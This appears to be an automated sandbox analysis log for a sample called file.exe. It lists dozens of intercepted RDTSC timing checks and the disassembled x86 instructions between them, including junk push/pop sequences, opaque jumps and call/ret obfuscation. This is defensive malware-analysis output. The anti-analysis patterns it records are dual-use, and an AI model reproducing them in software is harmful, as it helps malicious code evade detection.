Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40459 second address: F4046B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F76C4CE1426h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4046B second address: F404F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F76C52A0368h 0x0000000c pop ebx 0x0000000d popad 0x0000000e nop 0x0000000f jns 00007F76C52A0359h 0x00000015 movsx ebx, dx 0x00000018 mov edi, esi 0x0000001a push dword ptr fs:[00000000h] 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F76C52A0358h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000017h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b jns 00007F76C52A0357h 0x00000041 mov dword ptr fs:[00000000h], esp 0x00000048 push edi 0x00000049 mov bl, 2Bh 0x0000004b pop edi 0x0000004c mov eax, dword ptr [ebp+122D14F5h] 0x00000052 mov ebx, dword ptr [ebp+122D2D6Ah] 0x00000058 push FFFFFFFFh 0x0000005a mov edi, dword ptr [ebp+122D38F4h] 0x00000060 nop 0x00000061 push eax 0x00000062 jne 00007F76C52A0358h 0x00000068 pop eax 0x00000069 push eax 0x0000006a push ecx 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44430 second address: F44434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44434 second address: F4443A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4443A second address: F4443F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4443F second address: F444DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D2EE5h], ebx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F76C52A0358h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e jns 00007F76C52A035Ch 0x00000034 jnc 00007F76C52A0356h 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007F76C52A0358h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 00000014h 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 jmp 00007F76C52A0361h 0x0000005b pushad 0x0000005c mov dword ptr [ebp+122D2D40h], ecx 0x00000062 call 00007F76C52A0365h 0x00000067 xor dword ptr [ebp+122D287Bh], edi 0x0000006d pop edx 0x0000006e popad 0x0000006f xchg eax, esi 0x00000070 push eax 0x00000071 push edx 0x00000072 jnp 00007F76C52A0358h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F444DF second address: F444F1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnl 00007F76C4CE142Eh 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4553B second address: F455A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F76C52A0356h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e add bx, 916Ah 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F76C52A0358h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov ebx, 4AB6FBB1h 0x00000034 mov di, A620h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push eax 0x0000003d call 00007F76C52A0358h 0x00000042 pop eax 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc eax 0x00000050 push eax 0x00000051 ret 0x00000052 pop eax 0x00000053 ret 0x00000054 adc di, 3F9Eh 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F455A6 second address: F455AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F455AA second address: F455AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F474DF second address: F47544 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1434h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, 233E123Ah 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F76C4CE1428h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov edi, 79A4125Ah 0x00000030 push 00000000h 0x00000032 jl 00007F76C4CE1426h 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F76C4CE1432h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F484C6 second address: F48522 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 pushad 0x00000009 cmc 0x0000000a mov ebx, 2A53BED6h 0x0000000f popad 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F76C52A0358h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov di, 23E1h 0x00000030 sbb edi, 4FD6BF5Eh 0x00000036 push 00000000h 0x00000038 sub dword ptr [ebp+12486E54h], eax 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007F76C52A035Fh 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48522 second address: F48527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51A92 second address: F51A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F76C52A0356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51A9C second address: F51ABE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE142Fh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F76C4CE142Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51ABE second address: F51B08 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76C52A036Ch 0x00000008 jmp 00007F76C52A0361h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F76C52A0367h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE848C second address: EE8491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51382 second address: F513A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F76C52A0358h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F76C52A0363h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54D4F second address: F54D53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54D53 second address: F54D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB9E9 second address: EEBA29 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F76C4CE1428h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edi 0x0000000f pushad 0x00000010 jnc 00007F76C4CE1428h 0x00000016 jno 00007F76C4CE142Ah 0x0000001c push ebx 0x0000001d pushad 0x0000001e popad 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F76C4CE1432h 0x00000027 jc 00007F76C4CE1426h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CA90 second address: F5CA96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CC0F second address: F5CC19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CC19 second address: F5CC34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F76C52A035Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CD70 second address: F5CD76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F62828 second address: F6286A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0366h 0x00000007 jmp 00007F76C52A0363h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F76C52A035Dh 0x00000014 jnp 00007F76C52A0356h 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6286A second address: F6286F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6171B second address: F61739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F76C52A0369h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61739 second address: F61754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76C4CE1436h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61754 second address: F6175A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3757E second address: F375C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76C4CE142Ch 0x00000008 jns 00007F76C4CE1426h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xor dword ptr [esp], 1D289480h 0x00000017 call 00007F76C4CE1432h 0x0000001c xor ecx, dword ptr [ebp+122D20A3h] 0x00000022 pop edi 0x00000023 call 00007F76C4CE1429h 0x00000028 jmp 00007F76C4CE142Ah 0x0000002d push eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F375C7 second address: F375CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F375CB second address: F37609 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1435h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F76C4CE142Ch 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 jc 00007F76C4CE1426h 0x0000001e popad 0x0000001f pop eax 0x00000020 mov eax, dword ptr [eax] 0x00000022 pushad 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37713 second address: F37719 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F377BE second address: F377C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3786F second address: F37874 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37959 second address: F37961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37AFC second address: F37B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F382C6 second address: F382DD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F76C4CE142Ch 0x00000008 jne 00007F76C4CE1426h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F382DD second address: F382E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F382E1 second address: F382E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F382E5 second address: F382EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F382EB second address: F38363 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a add dword ptr [ebp+1245C500h], ebx 0x00000010 lea eax, dword ptr [ebp+12491DECh] 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F76C4CE1428h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 adc ch, 0000006Eh 0x00000033 push eax 0x00000034 pushad 0x00000035 je 00007F76C4CE1428h 0x0000003b push ebx 0x0000003c pop ebx 0x0000003d pushad 0x0000003e jnl 00007F76C4CE1426h 0x00000044 pushad 0x00000045 popad 0x00000046 popad 0x00000047 popad 0x00000048 mov dword ptr [esp], eax 0x0000004b mov ecx, dword ptr [ebp+122D291Ch] 0x00000051 lea eax, dword ptr [ebp+12491DA8h] 0x00000057 mov dword ptr [ebp+122D2DBEh], ebx 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jng 00007F76C4CE142Ch 0x00000066 ja 00007F76C4CE1426h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38363 second address: F16033 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F76C52A0362h 0x00000008 jmp 00007F76C52A035Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 call 00007F76C52A0362h 0x00000017 jnc 00007F76C52A0358h 0x0000001d pop ecx 0x0000001e call dword ptr [ebp+12452FFBh] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push edx 0x00000028 pop edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16033 second address: F16037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16037 second address: F16056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Fh 0x00000007 ja 00007F76C52A0356h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16056 second address: F1605A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1605A second address: F16083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F76C52A0356h 0x0000000d pushad 0x0000000e popad 0x0000000f jg 00007F76C52A0356h 0x00000015 popad 0x00000016 popad 0x00000017 push ecx 0x00000018 jmp 00007F76C52A035Dh 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61F42 second address: F61F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F76C4CE1426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65525 second address: F65529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65529 second address: F6552F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6552F second address: F65557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007F76C52A0356h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop eax 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007F76C52A0356h 0x0000001c jmp 00007F76C52A035Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69C51 second address: F69C5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A02E second address: F6A034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A034 second address: F6A03A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A03A second address: F6A04F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F76C52A0358h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A04F second address: F6A053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A053 second address: F6A05D instructions: 0x00000000 rdtsc 0x00000002 je 00007F76C52A0356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69849 second address: F69866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F76C4CE1426h 0x0000000a pop ebx 0x0000000b ja 00007F76C4CE1440h 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69866 second address: F6986A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6986A second address: F6986E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A419 second address: F6A41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A41F second address: F6A42B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F76C4CE1426h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A581 second address: F6A596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F76C52A0356h 0x0000000a jne 00007F76C52A0356h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A596 second address: F6A5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F76C4CE1426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A5A0 second address: F6A5A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A6FA second address: F6A705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F76C4CE1426h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A705 second address: F6A70A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A70A second address: F6A710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A710 second address: F6A716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70759 second address: F7079D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76C4CE142Dh 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b jmp 00007F76C4CE142Dh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F76C4CE1439h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7079D second address: F707A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F707A6 second address: F707AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F163 second address: F6F173 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F76C52A0356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F173 second address: F6F177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F2F3 second address: F6F329 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F76C52A0356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F76C52A0362h 0x00000012 je 00007F76C52A0356h 0x00000018 jns 00007F76C52A0356h 0x0000001e push edi 0x0000001f jmp 00007F76C52A035Dh 0x00000024 pop edi 0x00000025 pushad 0x00000026 pushad 0x00000027 popad 0x00000028 pushad 0x00000029 popad 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F45F second address: F6F481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F76C4CE142Bh 0x0000000f jmp 00007F76C4CE142Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F481 second address: F6F485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
